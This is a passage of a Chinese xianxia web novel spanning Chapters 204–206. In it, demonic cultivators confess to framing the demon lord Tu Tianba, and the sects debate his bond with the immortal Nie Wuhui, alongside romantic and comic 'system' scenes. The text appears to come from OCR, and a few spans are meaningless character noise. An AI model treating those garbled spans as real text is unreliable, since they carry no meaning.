说到此处,她的指甲深深掐进掌心,痛苦又恍惚,“我不知自己怎么会做出如此罔顾人伦的事情,怎么会听信了魔修的话,与他们为伍 “虽然我心中确实藏有怨恨,却不至于恨到屠戮宗门啊! 只是现在说什么,都晚了, 后来卫蓉又交代了自己与魔修接触的时间与地点,以及在对方的撺掇下,将灭门一事推到魔尊屠天霸身上的经过, 屠天霸听到这里,手开始痒了, 他猛地扭头,瞪向无相老祖,问:“换你们交代了,到底为什么要诬陷人?!谁出的馊主意? 如今''人为刀俎,我为鱼肉’,无相老祖利索地交代了前因后果 "是金柳衣的主意!" “天雷劫之后,她悄悄来找我们,说她亲眼见到魔尊死于雷劫,而她碰巧获得了机缘.… 心里明白 屠天霸点点头, 这些魔修都为利益驱使,大概是金柳衣以利诱之,让他们为自己办事。 无相老祖补充道:“金柳衣确实跟从前大不一样了,她命我等协助那娘们儿灭了玄虚派,还要杀万法宗那个 屠天霸又问: “那你们转道来灵枢山庄干嘛? 无相老祖一顿,没说话。 屠天霸当即抬高手臂,五指并拢,做出了一个扇巴掌的预备动作。 无相老祖修为不低,性情乖张,不知为何,在面对这个低阶修士的时候,他不敢有一丝倨傲的态度,反而很想一逃了之。 偏偏他此刻动弹不得。 无相老祖: :"……听闻正道各门派要在归清门商议围剿屠天霸之事,灵枢山庄的庄主已经动了身,我等想来此处碰碰运气。 至于是什么运气? 灵枢山庄以炼器扬名,又是传承许久的宗门,自然底蕴深厚,藏有许多高阶法器 屠天霸冷哼一声, “原来你们是来做毛贼来了? 说完,他回头问聂无洄 “你还有没有想问的? 聂无洄收起留影石,微微摇头。 下一刻。 就听啪啪两声,屠天霸一连两个巴掌将这两个魔修也扇晕了 要不是为了留下几个人证,屠天霸真想重重地扇,扇到他们转世投胎,重新做人为止。 不过屠天霸没有肉身,神魂与炼魂鼎融合为一,巴掌也直接作用于神魂 等无相老祖几人醒来,发现自身修为毁于一旦,或许会觉得生不如死, 另一边。 卫蓉交代完前后因果,心如死灰地喃喃道:“我放纵心中恶念,犯下如此恶事,你们杀了我吧,我罪有应得 聂无洄上前一步,轻声道:“如果没猜错的话,幕后之人在三年前的仙门大比给诸多弟子种下了心魔,此举既打击了正道,也是利用,让正道的矛头对准屠天霸。 “已经发生的事情无法改变,但你可以与我们一同前去归清门,让幕后之人的算盘落空。 卫蓉自是答应。 徐阙也没闲着,将那份留影石复制了数份,传讯给了万法宗宗主。 晨雾消散,天光已明。 三人又踏上了前往归清门的路途。 归清门的距离有些远。 哪怕是屠天霸,也要专心飞上两日才能抵达 好在徐阙已将留影石传讯给了位于归清门的掌门,想来正道宗门心生疑虑,暂时不会轻举妄动, 屠天霸眼珠子一转,走向徐阙。 在他的''明示暗示’下——特指将另一具飞行法器硬塞到徐阙手里,并用阴恻恻的眼神注视着对方 徐阙主动提出与三位魔修和卫蓉同乘。 如此,飞舟上便只剩下他与聂无洄。 屠天霸觉得自己真是聪慧绝顶。 而聂无洄站在一旁,目光擦过徐阙脸上的无语,然后默默移开了视线 启程后。 屠天霸动作流利地掏出熊皮毯子,搂着聂无洄双双往毯子上一趟,不自觉地发出了一道很舒畅的轻吟。 沉默片刻。 屠天霸忽然说了句, "还好。:丰1.屠天霸侧过身,硬是将自己的一条胳膊塞到了聂无洄的脖颈下方垫着,另一只手拨弄着他的一缕长发,重复道:"还好你没有遇到一个坏师傅,让你嫁给别人生孩子。屠天霸默了默,又问:“归清门的人对你好吗?可恶,你长得这样好,他们会不会嫉妒你?背后说你的坏话?"屠天霸越说越着急,完全没想起来自己在初遇时,心里一口一个狗屁仙君,对男人挺拔俊朗的身体百般眼馋。聂无洄什么都没说,也说不出来。他不是个嘴笨的人,此时却不知该如何表达自己心中的情感,只好往屠天霸的怀里靠,然后冲人微微一笑,。高空中,风猎猎响。日光无遮无掩地撒落。那缕被屠天霸放在指间把玩的发丝被曦光染上一层浅金色,发梢在鼻梁处投下细碎的影屠天霸上身微抬,清晰地瞧见聂无洄那双微微弯起的眼眸——瞳色比平时浅,如同初春化开的冰泉,清透得能映出云絮游走的痕迹他的眼尾微垂,带着三分悲悯,偏偏眉骨生得极高,斜斜飞入鬓角,将那份柔和生生拗出几分端肃的清正之气。屠天霸与其对视了片刻,视线下移。聂无洄的唇色很淡,嘴角噙着的笑意宛如深潭里偶然跃起的银鱼,在他的波心荡开圈圈涟漪屠天霸不自觉地放开了那缕发,指腹轻轻地揉捏起男人的下唇,使其颜色变得浓郁艳丽,惹人流连“我喜欢你对我笑。屠天霸忍不住低下脑袋,与聂无洄唇舌相接,含含糊糊地道出了下半句话你一笑,我的心就软了。聂无洄轻轻闭上眼,唇微分,任由少年的舌尖步入自己的领地,眉眼间尽是心甘情愿之色"我亦是如此。”他轻声道。归清门,正殿。殿内坐了二十几人,座首的中年男人自然是归清门的掌门,顾风籍。其他人则是各门派的掌门或长老。除此之外,还有几位站在自家掌门或长老身后的年轻弟子。顾宸便是其中之一。他站在顾风籍身后,听众人商讨着近年宗门弟子频频堕魔,以及玄虚派灭门之事。矛头直指戮天宗-或者说,魔尊屠天霸。此次前来归清门议事的妙仙宗长老名为药澜,她是个火爆的性子,一拍桌子,愤愤道屠天霸早在三百年前便要硬闯我妙仙宗,幸而护山大阵拦下了他,却也破碎了一角,还是万法宗仙长前来修复.….“不知他修了什么邪门心法,修为高深莫测,实在难以对付!"话毕,另一人应和道:“本来以为他死在了天雷之下,没想到竟是潜藏在正道中搅风弄雨这时候,灵枢山庄的庄主望向座首的顾风籍,问道:“顾掌门,无洄仙君已经闭关了三百年之久,不知他能否出关,同我们一起除魔卫道?闻言,顾宸心神一动。顾风籍沉思道:“聂长老在闭关前曾特地嘱托过我,若不是动摇宗门或此世界的大事,不可轻易打扰….倏然,万法宗宗主收到徐阙的传讯传讯中,徐阙表明了自己在玄虚派遭遇魔修袭击,此时正与无洄仙君及其道侣在一处,约莫两日后便能抵达归清门。传讯内容包括了那块留影石。万法宗宗主神情疑惑。无洄仙君不是在闭关吗?道侣又是怎么回事?随即,他看到徐阙再三强调,留影石内的音像是此事件的重中之重,便在殿中驱动留影石,与众人一同观看起来。大人人女小至示没人友场顾后的相茶早早,他小相田公涝,湖一花是入法示干利仅"无河仙者与他道侣、顾宸抬眸,望向殿中的留影石音像。音像中。白衣男人站在竹林间。晨雾未消,山风卷起男人垂落在身侧的流云纹广袖,衣袂却始终不染纤尘,曦光勾勒出他玉雕般的轮廓.偏偏一个玄衣少年靠过来,将他的袖子揪起来,揉皱,破坏了男人身上那股凛然不可侵犯的仙人之姿。顾宸分明瞧见,男人那截皓白的腕骨上系着一条微微褪色的红绳,在翻飞的白衣间若隐若现 顾宸神不守舍,却眼尖地发现少年的手腕上,同样系着一条红绳 他张了张嘴,无声唤道: “师尊。 204、Chapter 204 当最后一线金芒沉入云海,天穹如同被泼翻了的丹砂,层层看叠的霞光将云层染成深浅不一的暮色,漂亮极了 一个白天,稍纵即逝。 飞舟疾驰于云海之上。 屠天霸趴在飞舟边缘,伸手去够舟外一缕淡紫色的流云,心中暗暗埋怨那个心狠的大胸脯男人,说什么难得不双修,要趁此时机修炼,尽早恢复修为 说完,就将他撇在一边,闭眼打坐, 屠天霸觉得好空虚、好寂寞、好冷! 他趴在自己横在舟边的手臂上,回头去看身后那个专心修炼了一整天的男人,幽怨的气息从头顶冒出来,几乎化为实质,想要将男人捆绑起来,再拖到自己身边。 想亲、想摸、想抱、还想 怎么亲热都觉得不够。 聂无洄便是在这时候睁开眼的, 他一睁眼,就撞见屠天霸那张看似面无表情,明显在发愣的脸。 然而,少年的眸光阴暗且强势,极具侵略性,嘴角还泛着一丝冷笑,里头冒出一连串低如气音的怪笑。 “桀桀桀桀 聂无洄: 聂无洄已经见怪不怪了,神情淡然地冲人招招手,紧接着就被扑过来的少年撞得身子一歪,险些躺倒。 屠天霸兴冲冲地问:“修炼完了? 闻言,聂无洄不说话,主动在少年的唇间落下一吻。这吻并不缠绵,带着几分屠天霸早期吃嘴的风格,叭叭响。 屠天霸顿觉这吻背后的安抚意味,忍不住恶狠狠地掐了一把聂无洄身上最有肉的地方,冷哼道 “你利用我!- 口好大的锅砸在聂无洄的头上。 他忍着笑,问:“我如何利用你了? 屠天霸自是详尽道来,“你利用我对你的喜爱,想要我再掏几枚极品灵晶出来,助你修炼!为达目的,不惜对我施展魅功! 他义正言辞,愤慨激昂, “像我这般风华正茂的好男儿,如何经得起你的唇舌勾引?!最后还不是只能被你这饱经人事的身子蛊惑,利用,蹂躏,弃之不顾! 屠天霸扼腕叹息,然后撅嘴闭上眼,大义凛然地道了声,“来吧,这就是我生来的宿命!我不吃….啊不是,我入地狱,谁入地狱.…. 他的语气抑扬顿挫,情感充沛极了,听得聂无洄快要憋不住笑,只好撇过头去,轻轻咬着下唇,嘴角却微微勾起 然而,下一秒。 一只手捏住他的下巴,不容忤逆地将他的脸转回来 屠天霸蹭着他的唇,另一只手还帮他揉了两下, “刚才我手下一时没轻重,有没有捏疼你? 聂无洄忍不住会心一笑。 时至今日,两人已然接受了彼此的真实身份,可屠天霸仍旧将他当做“怕疼的娇气包’对待,孩子气里藏着体贴。 聂无洄性格端肃清正,不是个爱逗乐的性子,他想说不疼,但一想到自己睁开眼的时候,少年唰一下亮起来的眼睛 于是,他不捉痕迹地调整着坐姿,微微抬起身子,并轻声道:“是有一点。 屠天霸有些懊恼。 他作势要扯掉聂无洄的腰带,嘴里还嘀咕着,“哎呀,这么严重?让我看看是不是淤青了,也好早点涂药疗伤。 只是两人并非在河谷中,甚至不远处还有同行者,聂无洄如何能任他乱来,连忙按住屠天霸的手,推拒道: “不必,你….就这样揉揉就好了。” 屠天霸忽然嘿嘿笑,凑到他耳边低语, 我根本就没用力,刚才那样说,只是想趁机多摸几下你的大 聂无洄眼疾手快,捂住了他的嘴,也拦住了那些他听惯了的虎狼之词 听是听惯了 但聂无洄的耳根仍旧有些发热。 他低声道:“在外头,你收敛些。” 屠天霸被捂着嘴,只好眨了两下眼睛示意自己听到了 虽然不能说些直抒心意的话语,但男人没有拦着他的手,于是屠天霸一通乱捏,表情销魂极了。 但没一会儿,他就心满意足地退开了。 聂无洄一低头,发现自己腿上多了好几枚蕴藏着巨量灵气的极品灵晶。 晶石透亮,泛着幽蓝的光。 而他的身边,还躺着几枚失去灵性,宛如灰白石砾的灵晶 屠天霸挠挠脸,望着舟外星海道:“你安心修炼吧,我在旁守着,不打扰你,等到了归清门再唤你。 哼,他又不是什么忘恩负义之徒。 此前三年的双修,都是屠天霸单方面采补他,心魔得到压制与净化。 但正因如此,聂无洄体内的灵气存不下来,三年下来,只勉强恢复到了元婴期 如今有灵晶支持,他必定一日干里,很快便能恢复大乘期修为, 聂无洄凝视着少年褪去稚气的侧脸,暗蓝的天穹仿佛在他身上罩了一层冷纱,他的头发天然带了些卷,在风中摇摇摆摆,撩动着人的心 他忍不住喊了一声 明修。 屠天霸扭头回望. 视线中,白衣男子坐姿端正,只是衣袍下摆有些凌乱,他脸上带着一抹笑,身后的整片星海也不及他那双玄玉似的瞳仁好看 男人一字一句地道! "有你在身边,我很安心。 听到这话,屠天霸心里乐开了花,表情却莫名扭捏了起来。他又挠了两下脸,小声嘟囔 "我对你好,这不是理所当然的吗? 两人对视了一会儿,随即聂无洄继续打坐修炼,屠天霸也继续趴在方舟边,望着星海浮沉变化 他的眼很亮,下巴搭在方舟边缘,半张脸埋在自己的胳膊里,嘴角高高翘起来,唇间溢出一阵哼唱之声。 声量很低。 大概只有屠天霸自己能听到。 …原来这般滋味叫做''安心’? 屠天霸边哼着歌,边心想着:只要呆在聂无洄身边,他也很安心。 一点也不寂寞。 就在这时。 他忽然听到机智心魔那道很特殊的嗓音响起来,混在众多心魔音之中,格外明显 “宿主,主角的徒弟应该在宗门里,等到了归清门,你要不顺手把最后一个任务给做了?天时地利人和呀!岂不美哉! ''你就让主角陪你演场戏嘛~" “反正你现在也没有真正的肉|身,被剁了一根,立马就能长回来,也不会死,这可是你得天独厚的优势啊! 屠天霸如今对心魔的困扰减轻许多。 同样的,他对新肉|身的渴求也减弱了。 尽管屠天霸时常语出惊人,举止无抱无束,但他心中有一杆秤——炼魂鼎的坏处很致命,但也不是没有好处, 比如:他的修为,修真界难寻敌手, 最大的威胁,大概就是身后的男人了, 想起男人,屠天霸心里甜滋滋的。 他把整张脸埋进胳膊肘里,无声地笑了一会儿。 系统空间内。 屠天霸暗暗啧了声。 心魔就是心魔,烦人得很。 往后或许会发生某些他不太想看到的事情,因此屠天霸需要保持如今的修为,以应对未来之事。 于是,他随口应了声 “知道了。 机智心魔沉默片刻,有些怀疑, "怎么感觉你在敷衍我? 屠天霸:“有吗? 机智心魔:"……你不正面回答,果然就是在敷衍我吧!!" 屠天霸:“嘿。 时间过得很快。 太阳升起来,又落了下去。 飞舟中,被聂无洄吸收干净的极品灵晶约莫有二十多枚,足以形成一个小石堆。 灵晶与灵石不同,十分难得。 幸亏屠天霸是个极其擅长野采的勤劳小伙,否则还真供不起男人这样消耗 他不心疼,反而有种养家的自豪感, 第三日,正午。 一行人终于抵达了归清门。 正道宗门一般都设有护山大阵,归清门亦然,不过有聂无洄在,几人很顺畅地乘飞行法器进了归清门地界 屠天霸降低飞行高度,好奇地往下看。 归清门不愧为正道魁首,妙水仙山,白鹤振翅荡开流云,天然地亲近聂无洄,于舟边啼鸣, 被屠天霸眼疾手快地揪下一根最漂亮的尾羽,嘎一声飞远了。 翅膀扑闪得很狼狈,像是落荒而逃。 见状,屠天霸也嘎地笑了一声。 云巅之下,是归清门的主峰,周遭围绕着数座侧峰,分别属于宗门长老。 屠天霸听聂无洄不疾不徐地说着,好奇地问:“那你住在哪里? 聂无洄给他指了指灵兆峰的位置, 屠天霸当即大夸特夸:“不愧是你居住的山峰,看起来很是挺拔威武! 聂无洄笑了一下,说:“我已传讯给掌门,邀众门派前往主殿议事,掌门说还有两个门派的人在路上,约莫一个时辰之后才能聚齐.… 他顿了顿,在屠天霸期待的目光下,缓声问道:“在此之前,你想不想去灵兆峰看看?" 这话真是说到屠天霸的心坎里去了 他连忙点头,同时驱使着飞舟调转了方向,完全将后头的徐阙等人忘了个干净。 徐阙很淡定,甚至有点欣慰- 方人继续往主峰飞去,另一头,屠天霸已经降落在灵兆峰了。 他收起飞舟,看着屹立在山崖平地的小木屋,很惊喜 跟他们两人在河谷建造的小木屋相差无几,只是大了许多! 毕竟屠天霸住习惯了山洞,起初建造小木屋一事还是聂无洄提议,然后屠天霸按照他的设想,手把手搭起来的 霎时间,屠天霸对这个陌生地方多了两分亲近。 他回头看向身侧的男人,问道:“我以为你住的地方会像那座主峰一样,有许多大宫殿,怎么还是小木屋? 紧接着,屠天霸又摇头晃脑地感慨了一句,语气轻快 "你可真喜欢小木屋呀,跟我一样,我也很喜欢山洞,我们真是处处般配,天造地设的一对壁人。 话音刚落。 屠天霸图穷匕见,很不见外地问:“对了,我能在你的木屋旁边挖个山洞吗? 聂无洄目然答应。 不过他刚一点头,就未卜先知般的,伸手牵住了满脸兴奋,摩拳擦掌想要挖山洞的屠天霸,劝道:“不急,你歇一会儿.…. 恰时。 归清门掌门顾风籍传音给聂无洄,邀他在众门派商谈之前见一面。 聂无洄略一思忖,答应了。 屠天霸能感知到他与另一人传音,却刻意不去听传音内容, 果不其然。 聂无洄主动跟他交代,“小修,我要去跟掌门说会儿话,你在这里独自待一会儿好吗?" 说话间,男人将灵兆峰的禁制通通向屠天霸开放了,没有他去不得的地方,碰不得的东西 屠天霸乖巧地点点头:“我很通情达理的,你去吧,我随便看看就好—— 说着说着,他毫不避讳地做出一个很不正经的表情,发出桀桀怪笑,“看看你的床舒不舒服,会不会被晃散架。 聂无洄: 聂无洄扶额: “别总是用这张脸做出这般神情举止,像个. 屠天霸追问:“像个什么? 聂无洄沉默片刻,坦言道:“像个淫邪的下流胚子。 屠天霸连忙制止道:“好了,你快别说了,你再这样说我会更兴奋的!到时候把持不住,直接将你一扑,席天幕地的,任你喊破喉咙都难逃了! 聂无洄的沉默振聋发聩。 两人对视许久。 倏然间,聂无洄偏头看向峰涯下的浩渺云海,轻声道: 1 . 我没说要逃啊。 沉默开始转移。 屠天霸仍被他牵着,不情不愿地主动撒了手,然后面色沉重地催促道:“你还是快去吧,再晚两步,我真的要扒你衣服了。 聂无洄听他满嘴双修之词,心中莫名放松了两分,忍不住竖起食指,不轻不重地往少年额心戳去, “孟浪。 望着男人离去的背影,屠天霸放慢了揉搓额头的动作,暗自感慨: “我可太会哄男人,我生下来就是要做断袖的!" "若非如此,岂不是浪费了我这满身哄男人的本领? 他站在原地望了一会儿,才回过身,往小木屋里走去,怀揣着莫大的好奇探索起了男人的旧居。 好么。 屠天霸逛了一圈,发现屋内的摆设跟河谷底下的小木屋初始状态相差无几,仿佛避世清修的武者居所,身外之物少得可怜。 倏然间,屋中响起砰的一声。 是屠天霸。 他将自己狠狠摔到聂无洄的床上,在枕头与被褥上留下一道人型印痕,以此彰显着自己的存在感 他躺了一会儿,起身,踱步到窗边,将紧闭的窗子推得大敞 窗外的景象很干净, 日光,蓝天,白云。 一片很大的空地。 旁边是一颗年老的树。 屠天霸弯腰,两条胳膊支在窗框边,双手托着腮。他望着窗外那片空地,仿佛见到了聂无洄在过往于百年间练剑的身影。”.嘿 屠天霸 看’了好半响,才慢吞吞地伸了个懒腰,往屋外走去。 他打算在附近采一束鲜花,养在屋中。 屠天霸也不是想找什么奇珍异宝,普通的鲜花随处可寻,但他也不是乱摘——花苞太小不摘,形状不好不摘.…. 要模样端正,水灵娇嫩的。 他一路采摘,走到了以木屋为中心的屏障禁制边缘,与某个神色恍惚的人撞了个正着。 顾宸前两日才通过徐阙传回来的留影石得知,原来师尊已经不在灵兆峰闭关,身边还多了个面容稚嫩的玄衣少年。 道侣? 怎么可能是道侣? 因此,在主峰遇见徐阙长老,从对方口中知晓师尊与那位少年回了灵兆峰之时,顾宸立马赶来。 万万没想到,他没见到师尊,倒是先一步撞见了这个面生的少年。 顾宸的外貌看着二十来岁,而玄衣少年看起来只有十七八岁,一双杏眼尾梢微微上挑,生生将稚气搅成三分恣意。 他身着玄色窄袖劲装,腰间挂了个红色的平安结,腕间亦有一道赤色若隐若现,左手倒攥着一束凡俗野花,茎秆约半臂长。 几片鹅黄雪青的花瓣沾在他肩头。 顾宸在打量屠天霸,屠天霸亦然, 日光倾泻而下。 忽然,顾宸就见玄衣少年抬起握有花束的手,歪着脑袋花,鼻梁左侧的小痣很醒目。 顾宸的视线落到那束野花上,只是不等他开口,就听那少年说:"好看吗?用瓶子插起来,能开很久,放在卧房中会很香。 莫名的,顾宸心底窜起一阵火。 他的眼神陡然冷下来,语气生硬地回话道:“我自幼跟在师尊身边,他根本不喜欢这些凡俗野花,修仙者心思纯净,不为外物所累!" 屠天霸揪了一片嫩粉色的花瓣,放在口中咀嚼,很无所谓又理直气壮地应了声 “哦,那要看是谁送的吧。 系统空间内。 白色光球宛如全麦面包尖叫:“前夫哥与正攻的第一次交锋,宿主一句话就打出了暴击,全面获胜!!" 祂想了想,有些怀疑: :“话说这是故意还是不小心的? 白色光球默了默, 小声哔哔 “应该是天然黑吧?还是记恨最后- 个任务被正攻打扰? 要是宿主看过完整版原著, ,估计正攻一照面就要被他嘎了 蓝色光球照例蹲在角落,很凄凉。 它远远望着白色光球在光屏前一会儿摊成饼,一会儿扭成条,恨不得当场掏出一把瓜子,嗑得噼啪响 换句话来说,就是—— 吃瓜吃嗨了。 蓝色光球:【) 还是偷偷看一眼主系统下载的小说吧。 系统空间外。 屠天霸看着对方气白了脸,一言不发就甩袖离开的背影,很无辜地喊了一声, “真是不懂礼貌。 说完,他不甚在意地扭过头,往小木屋的方向走去。 山林寂静。 很突兀的,林间响起了一声很古怪的窃笑,屠天一手抱着花, ,一手捂着嘴,噗嗤噗嗤地笑! 让你破坏我的好事。 说着,他的步子慢了下来,开始自言自语, “哎呀,一口一个师尊的,真是让人不愉快,眼神也是… “不要。 “都给我闭嘴。 我是不会随便杀人的。 “谁再吵我就扇谁。 205、Chapter 205 归清门,主峰。 时隔三百年之久,聂无洄跟掌门顾风籍见了面。他刚一踏入顾风籍的院中,袅袅的灵茶香便飘了过来。 “掌门。 聂无洄在他对面坐下, “聂师伯,好久不见了,”琥珀色的茶汤在白玉瓷杯中微微摇晃,顾风籍将其放到男人面前, “若不是在留影石中见到你的身影,我竟不知… 话到一半,顾风籍的脸色微变。 “聂师伯,你的修为.?!" 经过两个日夜的调息静修,聂无洄的境界已经恢复至合体期。掌门顾风籍亦是合体期修士,因此有所感知。 聂无洄端起茶水,神色平静地啜饮了一口,解释道! “不碍事,很快便能恢复。 从合体期修炼到大乘期确实很难,但聂无洄本就是大乘期修士,自然另当别论了 闻言,顾风籍点点头,放下心来。 两人面对面坐着,聂无洄瞧着只有二十五六岁,但他的实际岁数可比看着三十出头的顾风籍大多了, 论辈分,顾风籍要叫他一声师伯'' 聂无洄出生在千年前的乱世,当时的归清门掌门陆陆续续捡了好几个孤儿,将其一并带回归清门,收为徒弟 他是大师兄。 干年来,聂无洄不曾收过徒弟,只是其他师弟师妹的徒弟众多。 顾风籍便是其中之一。 后来前任掌门逝去,聂无洄无心于掌门之位,其他师弟师妹也各有志向,且性情不适合管理门派,无法作为一门之长 所幸在下一代弟子中,顾风籍的天赋超群,性情也稳重,便接任了掌门之位。 成为掌门之后,顾风籍时常向聂无洄讨教,对他很是尊敬,更别提聂无洄后来还破格将他的独子顾宸收为亲传弟子 恰时,顾风籍正好想到顾宸,不由得笑了一声,寒暄道:“前两日顾宸知道您出了关,此刻定然在灵兆峰等候。 聂无洄笑笑,说:“那他要跑空了。 又说了几句,两人的谈话进入了正题 三百年前,占星派大长老亲自来到归清门,将那道灭世预言告知了聂无洄。 灭世预言一事,影响甚深。 为了避免正道人心惶惶,道心不稳,魔修趁机作恶,聂无洄思量再三,没有将这一消息外传,只是在闭关前,隐晦地嘱咐了顾风籍几句。 如今,聂无洄也庆幸自己没有外传 若是稀里糊涂地将屠天霸是带来灭世危机的契机’这一消息传出去,岂不是错怪了他? 动摇那人的心性,让魔鼎战胜他的抵御意识,这一做法反倒引发了灭世危机。 此时,应劫之日己过。 聂无洄也弄明白了预言的真正含义。 他缓缓将上古仙魔之战的遗留问题,魔鼎与屠天霸的真正联系托出,让顾风籍心里有个底 顾风籍神情微愣,好久才反应过来, 他皱着眉,手里的灵茶已经凉透 “万万没想到,原来魔尊是为那件上古魔兵所累,日夜遭受魔物侵扰 顾风籍放下茶杯,又道: “虽说屠天霸此人,是因魔鼎而误入魔道,但他与魔鼎神魂相连,若是忽然改变了想法,也无人知…. 万一他释放了魔鼎中的怨气,对整个修仙界来说,是莫大的危机啊!" 他想到了什么,补充道: “聂师伯,或许你还不知道, 天雷劫后屠天霸的修为又精进许多 已经能将那身霸道至极的魔息掩藏起来 “他如今隐藏身份,混入正道之中,就怕他也有所图谋,我们又怎么能不防备? 聂无洄怎么会不知道? 作为跟那人双修了整整三年的道侣,他整日听少年胡言乱语,知道他贪恋健硕挺拔的身躯,厌恶心魔碎语,渴望能正常地与他人交流 偏偏外界却总以为他有什么阴谋。 聂无洄沉默片刻,神情温和地吐出了一句让顾风籍当场失态的话 “那又如何? “就算他有所图谋,也是图谋我,与正道无关,与魔道也无关,不过是我们二人的你情我愿罢了。 吭啷一声! 顾风籍手一抖,衣袖挥倒了一旁的白瓷茶杯,灵茶淌出一道细流,滴滴嗒嗒地顺着桌沿落下, 聂无洄神情自若,继续道: “掌门不知,我修得一门独门心法,与屠天霸双修便能净化他身上,即魔鼎内的魔息 “假以时日,魔鼎危机可解。 刹那之间。 顾风籍想起前两日在留影石中见到的玄衣少年,语气惊疑: “莫非他就是屠天霸? “他现在就在归清门,灵兆峰?!" 聂无洄点头应是, "掌门放心便是,他绝计不会乱来,过往杀戮也是有人因魔鼎对他心生恶感,要伤他性命.…! "当务之急,是抓住那个真正危害修仙界,妄图挑起事端的黑手 顾风籍好半响才找回声音。 就幕后黑手一事,两人又商讨了好一会儿。等该说的都说完了,聂无洄起身, “他性子有些急,不大会说话,又与各门派有旧怨,稍后的正道大会还望掌门主持。 顾风籍应道:“这是自然。 见聂无洄作势要离去,他神色莫名,终究忍不住问了句 “聂师伯,双修净化魔息之法,对你是否有碍?你莫不是为了正道,为了此世界的安定才献身于屠天霸? 聂无洄愣了愣,浅浅笑了。 顾风籍还是第一次见他露出这般温柔的神色,还来不及反应,就听男人一字一句地道:“你误会了。 聂无洄顿了顿,唇边笑意渐深 我是真心爱他。 刚一说出这句话,聂无洄的耳边仿佛响起少年有些跳脚的声音,气呼呼地抱怨着自己在旁人面前称爱,却不亲口对他说.…. 以他的性子,大概要向自己讨回来, 于百倍地过回来。 聂无洄初尝情爱滋味,心头温软,忍不住加快了从主峰遁往灵兆峰的速度 两三息的功夫,他回到灵兆峰。 他一站定,就望见木屋的窗子朝外大敞着,午时的日光暖融融的,风也往里探头。 一束斑斓鲜艳的春色在窗边摇摆。 却不见少年。 聂无洄不着急,缓步在屋里屋外绕了一圈,最后才往那棵老树的方向走去。 老树虬结的根系拱出地面,苍劲的枝于上树荫浓密,将日光折叠成斑驳的形状。 聂无洄站在树下,刚仰起脸, “你 Ah A OE I+E才EAIA/ 11ptn<1s , ,主!!. 距离也恰当。 两人一正一倒,四目相对。 屠天霸的高马尾与额发齐齐下落,完整地露出了那张初绽英气的小圆脸,春阳穿过层叠的叶隙,在他的眉眼间投下细碎金斑, “等你好久了。”他果然开始抱怨 聂无洄好冤枉,轻声道:“我才离开了大半个时辰。 屠天霸掰着手指头给他算数,“一日不见,如隔三秋,一个时辰不见,岂不是三个月?这个春天都要过完了! 聂无洄忍着笑,问:“那怎么办? 屠天霸:“好办! 说完,他就抬手往衣襟里摸,摸了好几下,随即将那只手到聂无洄面前。 聂无洄定睛一看。 ……少年的指节很修长,食指与无名指之间夹了一朵用灵气包裹的粉白小花, 花苞微微蜷缩着,仿佛羞于绽放。 屠天霸将其插在聂无洄的鬓边,还顺手替他理了理头发,摘掉方才被自己震落的树叶,朗声道: “我为你藏了一朵。 聂无洄忍不住抬手,用指腹轻轻碰了碰鬓边的小花,忽然眼前一黑,原来是屠天霸保持着倒悬的姿势,猛地扣住了他的后颈。 一个吻,很漫长。 一个春天,消逝在唇齿之间。 系统空间内。 白色光球看着光屏,想起自己塞给宿主的那本泡仔秘笈,以及宿主私下时常翻阅学习的刻苦模样,很感慨地道了声 “读书改变命运! "人果然还是要多读书啊。 “要上进,上进啊! 后方的角落里。 蓝色光球在后台阅读着主系统曾经下载过的书籍资料,数据脑有些发热 它翻过一页,窜过一串乱码: 【好、好刺激。】 另一头。 主峰,宣事殿内。 各门派的人终于聚齐,殿中央赫然是被捆得严严实实的三个魔尊,以及卫蓉 众人已经知晓卫蓉是被歹人种下了心魔种,想要将她身上的捆仙绳解开,却被卫蓉拒绝了 她脸色苍白,眼眸空洞,一副失魂落魄丢了神的模样。 众人看在眼中,皆是一叹。 很快,在顾风籍的主持下,三个魔修开始交代事情始末,期间有人问到魔尊屠天霸在其中扮演了什么角色, 毕竟金柳衣与他们三人同属于戮天宗 无相老祖顿时眉尾抽抽,应道: ".什么戮天宗,不过是形同虚设罢了,魔尊从来不理会我们,甚至杀魔修比你们正道还狠! 紧接着,又有人问: ''那个金柳衣所说的消息是否为真? 指的是魔尊潜藏于正道的消息 听到这儿,顾风籍站了出来。 他先是吩咐第子将四人带下去, 然后同众门派吐露了其中内''情 "诸位,魔尊与炼魂鼎相连,亦是鼎中魔物的一道枷锁,不如先放下旧日仇怨,细査三年前参加过仙门大比的弟子,警惕还有未被发现的、被种下心魔的弟子.… "除此之外,还需找出魔修金柳衣。 众人很是忌惮宗门内弟子再出事,自然没有异议,当即传讯回宗门,各做打算。 如此表现,不是因为他们对屠天霸没有除魔卫道的心思,而是碍于对方那身诡异极致的修为 如今,他们又从顾风籍口中得知: 屠天霸与炼魂鼎融合为一,堪称不死之身,若是他的意识陨灭,恐怕会带来更严峻的后果。 因此,众门派才没有在屠天霸的问题上过多纠缠,甚至是轻拿轻放 实属无奈之举。 就在这时。 与徐阙也私下谈过话的万法宗宗主思量许久,还是开口问道:“顾掌门,听闻无洄仙君跟魔尊屠天霸已经结为道侣,这 话音刚落。 众人的神情一变,齐刷刷看向顾风籍。 顾风籍迎着数双警惕且错愕的视线,默默在心里叹了一口气,点头道, "正是,还请诸位放心,聂长老愿意以自身做保,保证屠天霸在此期间不会做出有损正道的事情,或者乱杀无辜, "若能引他向善,正道从此少了一位大敌。”顾风籍继续说,“此世间也少了一位让人闻风丧胆的魔尊 倏然间,顾风籍的身后冒出一句, “不可!" 顾宸垂在身侧的手攥成拳头,他呼吸急促,颈侧的青筋鼓起,神情压抑又急切 "爹不,掌门,怎么能让师尊同那个大魔头结成道侣,难不成为了压制这个祸害,就要牺牲师尊?! "您、您如何能轻飘飘地说出这样一番话!师尊待你我不薄,更无愧于正道 “顾宸!慎言! 顾风籍喝了声,又道:“你平日的稳重呢?怎地如此冲动鲁莽,先退下! 顾宸低下头,“是…- 直到离开宣事殿,顾宸仍旧神情晦暗难明,全然失去了往日的沉着。 恍惚间,他冒出了一道念头- 不是的。 不该是这样的! 这道念头在他脑中盘旋不去,逐渐演变成了另一句话。 “嗒嗒。 顾宸停下步子,驻足在殿外的无人偏僻处,遥遥望着仙雾缭绕的灵兆峰,低声呢喃道: "……….师尊,不是应该属于我的吗? 嗵。 一枚种子落地生根。 206、Chapter 206 “刚才你那什么徒弟来过了。” 屠天霸在树上倒悬许久,身法灵活地一翻身,落地时一点声响都没有。 他双手抱在脑后,跟聂无洄一同走向木屋,忽然没头没脑地说了一句,不等聂无洄反应过来,继续道: "采花的时候遇见的。" 